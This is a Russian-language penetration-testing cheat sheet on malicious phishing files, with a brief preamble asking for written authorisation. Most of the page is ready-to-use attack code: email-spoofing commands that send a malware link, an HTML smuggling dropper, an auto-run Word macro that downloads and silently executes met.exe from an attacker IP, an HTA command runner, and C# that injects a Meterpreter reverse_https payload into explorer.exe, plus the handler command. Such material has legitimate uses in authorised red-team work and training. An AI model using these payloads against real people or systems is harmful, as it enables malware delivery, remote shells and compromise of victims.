Вредоносные файлы фишинга
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
- Получите отдельное письменное разрешение на имитацию фишинга и социальную инженерию.
- Определите целевую аудиторию, сценарий и границы (без вреда производству).
- Проведите кампанию, фиксируя метрики и инциденты.
- Технические шаги и команды ниже — без перевода.
Методика
Sending emails
swaks -t <VICTIM_EMAIL> -f <YOUR_FAKE_EMAIL> --server <SMTP_EMAIL> --body 'click me http://<YOUR_IP>/<MALWARE>' --header "Subject: Important" --add-header "Really: 1.0" --add-header "Content-Type: text/html" [--attach <ATTACHED_FILE>]
sendemail -t <VICTIM_EMAIL> -f <YOUR_FAKE_EMAIL> -s <SMTP_EMAIL> -m "click me http://<YOUR_IP>/<MALWARE>" -u "Important!!!" [-a <ATTACHED_FILE>]
HTML Smuggling
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
var fileName = '<MALICIOUS_FILE_NAME>';
<!-- base64 -w 0 <FILE.EXE> -->
var file = '<B64_ENCODED_FILE>';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {
type: 'octet/stream'
});
if (window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveOrOpenBlob(blob, fileName);
} else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
Office
File Dropper
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub
Sub MyMacro()
If ActiveDocument.Name <> "runner.doc" Then
Exit Sub
End If
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://<YOUR_IP>/met.exe','met.exe')"
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.path + "\met.exe"
Wait (2)
Shell exePath, vbHide
End Sub
HTA
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run('<YOUR_MALICIOUS_COMMAND>');
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
HTA - DotNetToJScript
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public TestClass()
{
// Obtain explorer.exe handle
IntPtr hProcess = OpenProcess(0x001F0FFF, false, Process.GetProcessesByName("explorer")[0].Id);
// Allocate memory on explorer.exe
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR_IP> LPORT=443 EXITFUNC=thread -f csharp -v buf
// msfconsole -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; setg LHOST 0.0.0.0; setg EXITFUNC thread; set LPORT 443; exploit"
byte[] buf = <MSFVENOM_PAYLOAD>
int size = buf.Length;
IntPtr outSize;
// Write msfvenom payload into explorer memory
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
// Execute the just copied code
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
cd DotNetToJScript-master\
.\DotNetToJScript\bin\Debug\DotNetToJScript.exe .\ExampleAssembly\bin\Debug\ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
notepad demo.js
<html>
<head>
<script language="JScript">
<DEMO.JS>
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>